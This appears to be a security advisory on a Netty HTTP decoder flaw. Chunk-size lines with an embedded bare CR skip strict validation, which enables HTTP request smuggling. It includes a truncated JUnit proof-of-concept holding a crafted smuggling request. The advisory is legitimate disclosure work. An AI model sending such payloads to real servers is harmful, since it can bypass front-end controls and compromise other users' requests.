Summary
Netty skips strict chunk size line validation when the line has no chunk extension (
;), so a chunk size line containing an embedded bare CR (e.g.
0\rX) is accepted instead of rejected, enabling HTTP request smuggling.
Details
io.netty.handler.codec.http.HttpObjectDecoder#checkChunkExtensions only runs the strict validator
HttpChunkLineValidatingByteProcessor when a
; is present:
``
java
int extensionsStart = line.bytesBefore((byte) ';');
if (extensionsStart == -1) {
return;
}
`
According to RFC 9112 https://datatracker.ietf.org/doc/html/rfc9112#appendix-A
chunk-size = 1*HEXDIG
PoC
``java
@Test
public void test() {
String requestStr = "POST / HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Transfer-Encoding: chunked\r\n\r\n" +
"0\rX\r\n" +
"\r\n" +
"GET /smuggled HTTP/1.1\r\n" +
"Host: localhost\r\n" +
"Content-Length: 0\r\n" +
"\r\n";
EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, Ch